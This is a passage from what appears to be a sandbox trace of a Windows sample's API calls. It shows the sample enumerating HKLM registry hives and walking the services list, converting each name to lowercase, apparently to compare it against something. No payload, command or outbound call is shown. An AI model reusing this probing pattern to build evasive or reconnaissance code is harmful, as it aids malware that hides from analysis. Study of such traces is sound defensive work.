(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2fc0) returned 1 [0177.140] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="HARDWARE") returned 0x0 [0177.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.140] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.140] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware", lpUsedDefaultChar=0x0) returned 8 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1d18) returned 1 [0177.141] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a90) returned 1 [0177.141] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="SAM") returned 0x0 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="sam", cchWideChar=3, lpMultiByteStr=0x21f1a90, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sam", lpUsedDefaultChar=0x0) returned 3 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.141] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="SECURITY") returned 0x0 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="security", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="security", lpUsedDefaultChar=0x0) returned 8 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.141] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="SOFTWARE") returned 0x0 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.141] RegEnumKeyW (in: hKey=0x80000002, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="SYSTEM") returned 0x0 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.141] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="system", cchWideChar=6, lpMultiByteStr=0x21f1d18, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="system", lpUsedDefaultChar=0x0) returned 6 [0177.141] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.141] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0177.141] RegCloseKey (hKey=0x80000002) returned 0x0 [0177.142] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.142] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1d18, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.142] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1a90, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.142] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.142] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1a90, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.142] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.142] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0177.142] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1d18, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.143] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.143] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1d18, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.143] RegEnumKeyW (in: hKey=0x140, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1a90, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.143] RegOpenKeyExW (in: hKey=0x140, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x9c) returned 0x0 [0177.143] RegCloseKey (hKey=0x140) returned 0x0 [0177.143] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.143] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1d18, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.143] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0177.143] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1a90, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.144] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1d18, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.144] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1a90, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.144] RegEnumKeyW (in: hKey=0x9c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1d18, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.144] RegOpenKeyExW (in: hKey=0x9c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x140) returned 0x0 [0177.144] RegCloseKey (hKey=0x9c) returned 0x0 [0177.144] RegEnumKeyW (in: hKey=0x140, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.144] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0177.144] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.145] RegEnumKeyW (in: hKey=0x140, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1d18, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.145] RegEnumKeyW (in: hKey=0x140, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1a90, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.145] RegEnumKeyW (in: hKey=0x140, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1d18, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.145] RegEnumKeyW (in: hKey=0x140, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1a90, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.145] RegEnumKeyW (in: hKey=0x140, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1d18, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.145] RegEnumKeyW (in: hKey=0x140, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0177.145] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2fc0 [0177.145] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0177.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a90 [0177.146] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1a90, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0177.146] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1d18 [0177.146] RegEnumKeyW (in: hKey=0x140, dwIndex=0x7, 